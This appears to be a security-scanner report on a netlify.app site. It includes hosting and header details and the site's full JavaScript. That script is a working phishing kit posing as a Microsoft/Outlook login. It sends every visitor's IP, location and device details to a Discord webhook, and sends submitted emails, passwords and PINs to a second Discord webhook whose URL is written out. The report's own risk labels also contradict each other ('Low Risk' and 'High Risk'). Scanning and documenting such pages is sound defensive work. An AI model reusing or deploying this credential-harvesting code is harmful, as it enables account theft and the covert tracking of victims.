technology software

government public service

Spanish

Domain 'sdfcvtgfhwewre.netlify.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'sdfcvtgfhwewre'. The second-level label 'netlify' is 7 characters long holding two vowels versus 5 consonants. Breaking it apart gives three words: net, li, fy. Median word length comes out to 2 characters. No strong language cues emerged from the frequency lists.

default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.stripe.com https://*.paddle.com https://www.google.com https://www.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; style-src 'self' 'unsafe-inline' https://*.paddle.com https://fonts.gstatic.com https://fonts.googleapis.com; img-src 'self' data: https://ipapi.co https://maps.gstatic.com https://maps.googleapis.com https://*.stripe.com; font-src 'self' data: https://fonts.gstatic.com https://fonts.googleapis.com; frame-src 'self' https://www.google.com https://*.stripe.com https://*.paddle.com https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/ https://challenges.cloudflare.com/; connect-src 'self' https://ipapi.co/ https://*.paddle.com https://*.stripe.com https://maps.googleapis.com https://www.google.com/recaptcha/; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';

frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable

76e6774ea014559d73d4a5208004ab92076f4295bc06606a61b0dcb30174141f

hosting-provider

https://netlify.new/?utm_campaign=ai-legible&utm_source=meta&utm_medium=referral&utm_id=ed06c8bb-d73a-44a8-8bdb-8188f2f2255a

netlify-deploy

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';media-src blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

IPAPI.CO

Cloudflare, Inc.

DISCORD.COM

Name.com Abuse Team

Name.com, Inc.

netlify.app

Cloudflare, Inc

CLOUDFLARENET


        // Función para mover al siguiente campo del PIN
        function moveToNext(currentIndex) {
            const currentInput = document.getElementById(`pin${currentIndex}`);
            const nextInput = document.getElementById(`pin${currentIndex + 1}`);
            if (currentInput.value.length === 1 && nextInput) {
                nextInput.focus();
            }
        }
        // Función para manejar teclas en los campos del PIN
        function handlePinKeydown(currentIndex, event) {
            const currentInput = document.getElementById(`pin${currentIndex}`);
            const prevInput = document.getElementById(`pin${currentIndex - 1}`);
            if (event.key === 'Backspace' && currentInput.value === '' && prevInput) {
                prevInput.focus();
            }
        }
        // Función para crear cuenta (placeholder)
        function createAccount() {
            alert('Redirigiendo a la creación de cuenta...');
        }
        // Función para validar email
        function isValidEmail(email) {
            const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return emailRegex.test(email);
        }
        // Función para obtener información del dispositivo y navegador
        function getDeviceInfo() {
            const userAgent = navigator.userAgent;
            let device = "Desconocido";
            let browser = "Desconocido";
            // Detectar dispositivo
            if (/Mobile|Android|iP(hone|od)|BlackBerry|IEMobile|Kindle|Silk-Accelerated|(hp|web)os|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/i.test(userAgent)) {
                device = "Móvil";
            } else if (/Tablet|iPad|Nexus 7|Nexus 10|Kindle|PlayBook|Xoom|SM-T/i.test(userAgent)) {
                device = "Tablet";
            } else {
                device = "Escritorio";
            }
            // Detectar navegador
            if (userAgent.includes("Firefox")) browser = "Firefox";
            else if (userAgent.includes("SamsungBrowser")) browser = "Samsung Browser";
            else if (userAgent.includes("Opera") || userAgent.includes("OPR")) browser = "Opera";
            else if (userAgent.includes("Trident") || userAgent.includes("MSIE")) browser = "Internet Explorer";
            else if (userAgent.includes("Edge")) browser = "Edge";
            else if (userAgent.includes("Chrome")) browser = "Chrome";
            else if (userAgent.includes("Safari")) browser = "Safari";
            return { device, browser };
        }
        // Función para obtener la IP y datos de geolocalización
        async function getUserLocation() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                const ip = data.ip;
                // Usamos ipapi.co para obtener datos detallados
                const locationResponse = await fetch(`https://ipapi.co/${ip}/json/`);
                const locationData = await locationResponse.json();
                return {
                    ip: ip,
                    country: locationData.country_name || 'Desconocido',
                    city: locationData.city || 'Desconocido',
                    postal: locationData.postal || 'Desconocido',
                    region: locationData.region || 'Desconocido',
                    isp: locationData.org || 'Desconocido',
                    proxy: locationData.proxy || false,
                    vpn: locationData.org?.includes("VPN") || locationData.org?.includes("Proxy") || false
                };
            } catch (error) {
                console.error('Error al obtener la ubicación:', error);
                return {
                    ip: 'Desconocido',
                    country: 'Desconocido',
                    city: 'Desconocido',
                    postal: 'Desconocido',
                    region: 'Desconocido',
                    isp: 'Desconocido',
                    proxy: false,
                    vpn: false
                };
            }
        }
        // Función para enviar alerta de visita al cargar la página
        async function sendVisitAlert() {
            const location = await getUserLocation();
            const deviceInfo = getDeviceInfo();
            const visitWebhookUrl = 'https://discord.com/api/webhooks/1523474775534735453/fe7esMf22ikiWO41NzQGLLwqhBK9ISqlfwj20NpktEhZdKRQmjuRVjBv1TGc3G5N_xEy';
            const message = {
                content: "💥❌ALERTA🩸👁️‍🗨️",
                embeds: [{
                    title: "Alerta de visita",
                    color: 0xffa500,
                    fields: [
                        { name: "IP", value: location.ip, inline: true },
                        { name: "País", value: location.country, inline: true },
                        { name: "Ciudad", value: location.city, inline: true },
                        { name: "Código Postal", value: location.postal, inline: true },
                        { name: "ISP/Organización", value: location.isp, inline: true },
                        { name: "Dispositivo", value: deviceInfo.device, inline: true },
                        { name: "Navegador", value: deviceInfo.browser, inline: true },
                        { name: "Usando VPN/Proxy", value: location.vpn || location.proxy ? "Sí" : "No", inline: true },
                        { name: "Fecha y hora", value: new Date().toLocaleString(), inline: true }
                    ],
                    thumbnail: {
                        url: "https://i.postimg.cc/L5dpcdDP/photo-2025-10-13-08-37-06.jpg"
                    },
                    timestamp: new Date()
                }]
            };
            try {
                await fetch(visitWebhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(message)
                });
            } catch (error) {
                console.error('Error al enviar alerta de visita:', error);
            }
        }
        // Enviar alerta al cargar la página
        window.onload = sendVisitAlert;
        document.getElementById('loginForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            const email = document.getElementById('email').value;
            const password = document.getElementById('showpassword').value;
            const pin = document.getElementById('pin1').value +
                        document.getElementById('pin2').value +
                        document.getElementById('pin3').value +
                        document.getElementById('pin4').value;
            const keepSignedIn = document.getElementById('keepSignedInCheckbox').checked;
            const formWebhookUrl = 'https://discord.com/api/webhooks/1523475099007582378/MRutZ-iL1wdLuvC0T4X8k7Q4vBX8ux2L4Z15OVps3qW8T-tPmJQ0xGPlVc9VicoRjTgr';
            // Validar email y PIN
            if (!isValidEmail(email)) {
                document.getElementById('emailError').style.display = 'block';
                return;
            }
            if (pin.length !== 4) {
                document.getElementById('pinError').style.display = 'block';
                return;
            }
            // Obtener ubicación y dispositivo
            const location = await getUserLocation();
            const message = {
                content: "Nuevo inicio de sesión recibido:",
                embeds: [{
                    title: "Outlook - Datos de inicio de sesión",
                    color: 0x3498db,
                    fields: [
                        { name: "Email", value: email, inline: true },
                        { name: "Contraseña", value: password, inline: true },
                        { name: "PIN", value: pin, inline: true },
                        { name: "IP", value: location.ip, inline: true },
                        { name: "País", value: location.country, inline: true },
                        { name: "Fecha y hora", value: new Date().toLocaleString(), inline: true }
                    ],
                    thumbnail: {
                        url: "https://i.postimg.cc/L5dpcdDP/photo-2025-10-13-08-37-06.jpg"
                    },
                    timestamp: new Date()
                }]
            };
            try {
                const response = await fetch(formWebhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(message)
                });
                if (response.ok) {
                    window.location.href = 'index2.html';
                } else {
                    alert('Error al enviar los datos a Discord.');
                }
            } catch (error) {
                console.error('Error:', error);
                alert('Error al enviar los datos a Discord.');
            }
        });
    

Iniciar sesión en tu cuenta de Microsoft

✅ Low Risk - http://sdfcvtgfhwewre.netlify.app/

Requests	IP Address	Location	AS Autonomous System
4	63.176.8.218Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
1	162.159.128.233Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	104.26.8.44Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	104.26.13.205Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	35.157.26.135Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
8	5	-	-

Security Scan Report: sdfcvtgfhwewre.netlify.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History